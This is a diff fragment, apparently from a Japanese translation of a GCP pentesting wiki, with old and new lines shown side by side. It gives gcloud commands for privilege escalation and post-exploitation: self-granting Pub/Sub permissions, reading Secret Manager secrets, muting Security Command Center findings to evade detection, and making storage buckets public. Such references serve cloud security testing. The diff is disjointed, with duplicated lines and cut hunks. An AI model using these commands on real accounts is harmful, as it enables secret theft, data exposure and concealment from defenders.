自分に以前コメントされた攻撃を実行するために必要な権限を与えます。
攻撃を実行するために必要な権限を自分に付与します。
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
@@ -100,13 +100,13 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
```
### `pubsub.schemas.delete`
これはスキーマを削除するように見えるかもしれませんが、スキーマに適合しないメッセージを送信することができます。しかし、スキーマが削除されるため、実際にはメッセージトピックに入ることはありません。したがって、これは**無駄です**:
これはスキーマを削除するように見えるかもしれませんが、スキーマに適合しないメッセージを送信することができます。しかし、スキーマが削除されるため、実際にはどのメッセージトピックに入ることはありません。したがって、これは**無駄です**:
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
### `pubsub.schemas.setIamPolicy`
自分に以前コメントされた攻撃を実行するために必要な権限を与えます。
攻撃を実行するために必要な権限を自分に付与します。
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
@@ -4,7 +4,7 @@
## Secretmanager
Secret Manager についての詳細は以下を確認してください:
Secret Managerに関する詳細情報は、以下を確認してください
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,7 +12,7 @@ Secret Manager についての詳細は以下を確認してください:
### `secretmanager.versions.access`
これにより、シークレットマネージャーからシークレットを読み取るアクセスが得られ、シークレット内に保存されている情報に応じて特権昇格に役立つ可能性があります:
これにより、シークレットマネージャーからシークレットを読み取るアクセスが得られ、シークレット内に保存されている情報に応じて特権昇格させるのに役立つ可能性があります
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
@@ -19,7 +19,7 @@ gcloud scc muteconfigs create my-mute-config --organization=123 --description="T
```
### `securitycenter.muteconfigs.update`
攻撃者を検出する可能性のある発見の生成を防ぐために、`muteconfig`を更新します:
攻撃者を検出する可能性のある発見の生成を防ぐために、`muteconfig`を更新します
```bash
# Update Muteconfig
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
@@ -31,7 +31,7 @@ gcloud scc muteconfigs update my-test-mute-config --organization=123 --descripti
# Mute based on a filter
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
```
A muted finding won't appear in the SCC dashboard and reports.
ミュートされた発見は、SCCダッシュボードやレポートに表示されません。
### `securitycenter.findings.setMute`
@@ -10,9 +10,9 @@
../gcp-services/gcp-storage-enum.md
{{#endref}}
### 公開アクセスを与え
### 公開アクセスを許可す
外部ユーザー(GCPにログインしているかどうかにかかわらず)にバケットのコンテンツへのアクセスを与えることが可能です。ただし、デフォルトではバケットは公開アクセスを有効にするオプションが無効になっています:
外部ユーザー(GCPにログインしているかどうかにかかわらず)にバケットのコンテンツへのアクセスを許可することが可能です。ただし、デフォルトではバケットは公開アクセスを許可するオプションが無効になっています:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,7 +25,7 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
バケット**ACLが無効な状態でACLを設定しようとすると**、次のエラーが表示されます: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
バケット**ACLが無効になっている場合**、ACLをバケットに与えようとすると、次のエラーが表示されます: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
ブラウザを介してオープンバケットにアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスします。

Some files were not shown because too many files have changed in this diff Show More